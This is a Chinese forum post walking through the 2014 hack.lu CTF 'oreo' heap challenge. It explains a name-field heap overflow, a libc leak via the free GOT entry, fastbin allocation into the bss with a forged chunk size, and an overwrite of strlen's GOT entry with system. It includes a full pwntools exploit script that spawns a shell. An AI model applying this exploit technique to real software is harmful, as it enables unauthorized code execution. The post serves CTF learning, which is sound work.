首页
论坛
专栏
课程
1

[原创]2014 hack.lu oreo

Snowleo 5天前 234

2014 hack.lu oreo

漏洞知识:

Fastbin Attack

Arbitrary Alloc

保护机制

没开地址随机化,也能改got表

程序逻辑

我们看关键的几个函数:add, delete, leave_message

add

可以看到*((_DWORD *)tmp_heap + 13) = v1;是将tmp_heap+52(4*13)处记录上一个heap的地址last_heap。DWORD 是4个字节。
而tmp_heap记录description,tmp_heap+25记录name
sub_80485ec就是将最后一个字节截断了
因此,而在fgets中明显的存在堆溢出漏洞,从tmp_heap+25到tmp_heap+0x38有31个字节,而这里可以读入56个字节,说明name可以覆盖掉tmp_heap+52的last_heap指针

delete

从最近添加的heap逐渐先前free掉,注意这里free的只是last_heap的地址,这里导致我在后面先通过改free_got为system时,无法传入/bin/sh参数。可能是我在哪些地方没考虑到,如果哪位大佬能做到,恳请赐教!

leave_massage

这里是向bss段的0x0804a2a8指向的地方写东西

利用思路

照样的,我把我的一步一步的想法告诉大家(大佬可以绕过)
1、最终要system('/bin/sh'),容易想到改某个函数的got(没开保护)
2、由于程序中没有system函数,所以首先要泄露出system的地址,这样就得利用show_add来泄露某个函数的地址了
3、这里我选择free(在CTF Wiki中某位大佬说必须满足枪支结构,next必须为NULL,于是选择puts,但亲测没必要,我的习惯就是free),要将free_got放在last_heap指针中,这里就可以用到读取name时的堆溢出到last_heap
4、泄露之后就是改啊,有哪个函数可以输入的?就是leave_message。但这里leave_message的地址是固定的呀,有点棘手了。再仔细看leave_message函数,这里是往0x0804a2a8的指向的地方里面写东西,而不是往0x0804a2a8写东西(这里要理解清楚)。因此可以将0x0804a2a8的内容改成某个函数的got了,然后通过leave_message篡改got
5、那么怎么将 0x0804a2a8的内容改成got 呢?我们似乎没有直接向这里写东西的函数,因此我们需要将堆分配到这里,这里就用到了 Arbitrary Alloc 技术。将0x0804a2a8作为一个heap的last_heap,free之后就会将0x0804a2a8放入fastbin,再次分配时就会返回到这个地方O(∩_∩)O

实现

好了,整个逆向思路整理好了,就正向实现吧。

Step1:leak libc base

add('a','a')
delete()    #run free
name = 'a'*27 + p32(elf.got['free'])    #name + last_heap
print hex(elf.got['free'])
add(name,'a'*25)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))
由于一开始没有运行过free函数,根据linux延迟绑定机制,只有第一次运行后got表才会绑定free的实际内存地址。
接下来就是填充27个字节的name,将last_heap指针覆盖成free_got地址,以泄露free地址,然后就能根据libc相对偏移计算出system的地址了。

Step2:alloc to 0x0804a2a8

要在bss段上分配堆,首先需要堆上有合适的size以满足malloc(0x38)的条件。这里我们需要的size为0x40,这是因为我们的枪支结构的内容大小为0x38,因此整个chunk的size就为0x40。而如果data段是从0x0804a2a8开始,那么size就位于0x0804a2a8-4=0x0804a2a4处,观察一下这里刚好是number的地址,因此我们就需要在分配到0x0804a2a8前添加0x40次。
for i in range(0x40-2-1):
    add('a'*27+p32(0),str(i))    #name + last_heap
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')
注意这里每个chunk的last_heap都要设置成NULL,因为在后面delete的时候是依次free,这样才不会将这些chunk放入fastbin中。
再添加一次chunk,将last_heap设置成0x0804a2a8,这样在free一次后会将指针设置成last_heap,再将其free放入fastbin,这样下次malloc的时候就会将最近放入fastbin中的chunk返回,也就是我们的0x0804a2a8。

这里有个地方需要绕过:next_chunksize
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))    //大于一个header
                          <= 2 * SIZE_SZ, 0)//SIZE_SZ是系统单位字节数
        || __builtin_expect (chunksize (chunk_at_offset (p, size))    
                             >= av->system_mem, 0))
      {
        bool fail = true;
        /* We might not have a lock at this point and concurrent modifications
           of system_mem might result in a false positive.  Redo the test after
           getting the lock.  */
        if (!have_lock)
          {
            __libc_lock_lock (av->mutex);
            fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
                    || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
            __libc_lock_unlock (av->mutex);
          }
        if (fail)
          malloc_printerr ("free(): invalid next size (fast)");
      }
从前四行可以看到,如果next_chunksize过大或过小,都会触发一个错误。因此我们要保证下个伪造的chunk的size位符合条件。

payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100)    #padding + last_heap + prev_size_of_fake_chunk + size_of_fake_chunk
message(payload)
delete()
message是从0x0804a2c0开始编辑的,而我们的chunk从0x0804a2a8开始的0x38个字节,填满整个chunk需要0x38-(0xc0-0xa8) = 0x20字节,但最后4个字节也就是last_heap我们要设置为NULL。我把这个size设置为100,只要不大不小就行,比如0x100也行。
可以看到这里只有两个,最近的就是我们0x0804a2a8-8的chunk,下次malloc就会返回它了。

Step3:trim strlen_got

我们可以发现leave_message函数中fgets之后就会调用截断函数,里面就有个strlen函数,我们就把他改为system,这样在fgets篡改成system后就能直接调用了,不用在另外构造。
payload = p32(elf.got['strlen'])
add('b',payload)
可以看出这里成功写入strlen_got

message(p32(system_addr)+';/bin/sh\x00')
这样就相当于往0x0804a250指向的地址写入system。
这里有个新姿势:system("ls;/bin/sh")就相当于sytem("ls");system("/bin/sh");分号代表system函数将这个参数分成两部分,先后执行里面的命令。因此这里在fgets函数篡改了strlen_got后紧接着调用strlen,就相当于system(p32(system_addr);"/bin/sh") = system(p32(system_addr));system("/bin/sh");
这样就能实现最终目的了。

贴出完整exp:
#!/usr/bin/env python
from pwn import *
cn = process('./oreo')
elf=ELF('./oreo')
#context.log_level='debug'
libc = ELF('libc.so.6')

def add(name,description):
    #cn.recvuntil('Action: ')
    cn.sendline('1')
    #cn.recvuntil('Rifle name: ')
    cn.sendline(name)
    #cn.recvuntil('Rifle description: ')
    cn.sendline(description)
    
def show_add():
    #cn.recvuntil('Action: ')
    #gdb.attach(cn)
    cn.sendline('2')

def delete():
    #cn.recvuntil('Action: ')
    cn.sendline('3')

def message(notice):
    #cn.recvuntil('Action: ')
    cn.sendline('4')
    #cn.recvuntil('order: ')
    cn.sendline(notice)

def show_stat():
    #cn.recvuntil('Action: ')
    cn.sendline('5')

#leak libc base

add('a','a')
delete()
name = 'a'*27 + p32(elf.got['free'])
print hex(elf.got['free'])
add(name,'a'*25)
#gdb.attach(cn)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))
gdb.attach(cn)
#alloc to bss

for i in range(0x40-2-1):
    add('a'*27+p32(0),str(i))
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')
#gdb.attach(cn)
#fake chunk to bypass check

payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100)
message(payload)
delete()
cn.recvuntil('submitted!\n')

#trim free_got

payload = p32(elf.got['strlen'])
add('b',payload)
#gdb.attach(cn)
message(p32(system_addr)+';/bin/sh\x00')

cn.interactive()


补充:最后实现触发system的还有一种方法,就是将free_hook改为one_gadget,但不能将free改为one_gadget,应该是因为free需要参数而one_gadget不需要参数吧。
欢迎大家交流讨论!


快讯:看雪智能设备漏洞挖掘公开课招生中!

最新回复 (1)
netwind 5天前
2
感谢分享!
返回